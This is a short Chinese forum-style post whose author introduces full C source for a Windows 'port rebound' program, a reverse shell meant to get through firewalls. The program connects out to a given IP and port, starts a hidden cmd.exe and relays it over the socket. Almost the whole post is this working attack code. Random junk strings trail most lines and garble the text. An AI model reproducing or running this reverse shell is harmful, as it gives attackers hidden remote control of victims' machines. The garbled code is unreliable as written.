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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 (zgXhx_!D  
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/* ============================== BS+N   
Rebound port in Windows NT )ALf!E%{  
By wind,2006/7 ,/o<OjR  
===============================*/ Qy@chN{eP  
#include #XC\= pZX  
#include zy+|)^E  
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#pragma comment(lib,"wsock32.lib") w(.k6:e  
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void OutputShell(); 1_GUi  
SOCKET sClient; J qjb@'i  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; *PZNZ{|m  
^U:pv0Qz  
void main(int argc,char **argv) _~5{l_v|I  
{ 1(rH5z'F  
WSADATA stWsaData; oh#6>|  
int nRet; gZ/M0px  
SOCKADDR_IN stSaiClient,stSaiServer; /lAt&0  
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if(argc != 3) .xCO_7Rd  
{ 3VA Lrb;  
printf("Useage:\n\rRebound DestIP DestPort\n"); m:Z=: -x  
return; yWt87+%T  
} V\)@Yk2  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ).-B@&Eu%  
1 ,[T;pdDd  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [y=k}W}z  
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stSaiClient.sin_family = AF_INET; 4wBMBCJ;P  
stSaiClient.sin_port = htons(0); Wx;9N  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Qmzj1e$6x  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 4J-)+C/edx  
{ 7 P=1+2V  
printf("Bind Socket Failed!\n"); !t~S.`vF  
return; 3D;\V&([  
} bWUo(B#*I  
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stSaiServer.sin_family = AF_INET; s 6vsV  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); FeLWQn/aV6  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ##1[/D(  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) lj'c0k8  
{ 6-QTqb?U;N  
printf("Connect Error!"); O'A''}M  
return; .5KRi6  
} Xk(c2s&  
OutputShell(); t<~riFs]  
} tezsoR!.ak  
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void OutputShell() "7Zb)Ocb  
{ o&fAnpia=  
char szBuff[1024]; K (Z d-U  
SECURITY_ATTRIBUTES stSecurityAttributes; zZ OoPE  
OSVERSIONINFO stOsversionInfo; iV(B0z  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; p\b:uy6#  
STARTUPINFO stStartupInfo; .nKyB'uV  
char *szShell; }g5h"N\$o  
PROCESS_INFORMATION stProcessInformation; K?(ls$  
unsigned long lBytesRead; }bAd@a9>3  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #B;`T[  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); W^60BZ  
stSecurityAttributes.lpSecurityDescriptor = 0; O&E1(M|*>  
stSecurityAttributes.bInheritHandle = TRUE; )=[K$>0k  
pj?+cy v~  
:*)~nPVV  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); S-Ryt>G  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ofj7$se  
v^HDR 3I  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %n=!H  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <!-8g!  
stStartupInfo.wShowWindow = SW_HIDE; e7>)Z  
stStartupInfo.hStdInput = hReadPipe; ()}O|JL:K  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;)u}`4~L  
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GetVersionEx(&stOsversionInfo); [ C] =p  
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switch(stOsversionInfo.dwPlatformId) zPH1{|H+l  
{ KaBze67<|  
case 1: @@'zMV%  
szShell = "command.com"; wvp\'* $  
break; hc`9Y  
default: C W7E2 ^P$  
szShell = "cmd.exe"; WK:~2m&y  
break; 3@XCP-`  
} =}Bq"m  
7.hVbjy'-  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); S%kE<M?  
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send(sClient,szMsg,77,0); `IFt;Ja\6  
while(1) v}+axu/?  
{ :BC 0f9  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ;7K5Bo  
if(lBytesRead) QKE$>G  
{ 9'Pyo`hJ#U  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); S TVJu![  
send(sClient,szBuff,lBytesRead,0); %0Ulh6g;Dt  
} Yw\} '7  
else ?G* XZ0u~  
{ I&q:w\\z8|  
lBytesRead=recv(sClient,szBuff,1024,0); *~lD;{2  
if(lBytesRead<=0) break; ;]i&AAbj  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); RR75ke[Hs  
} pIC CjA?3@  
} ryW1OV6?_0  
V%<<Udu<  
return; bqsb (C  
}
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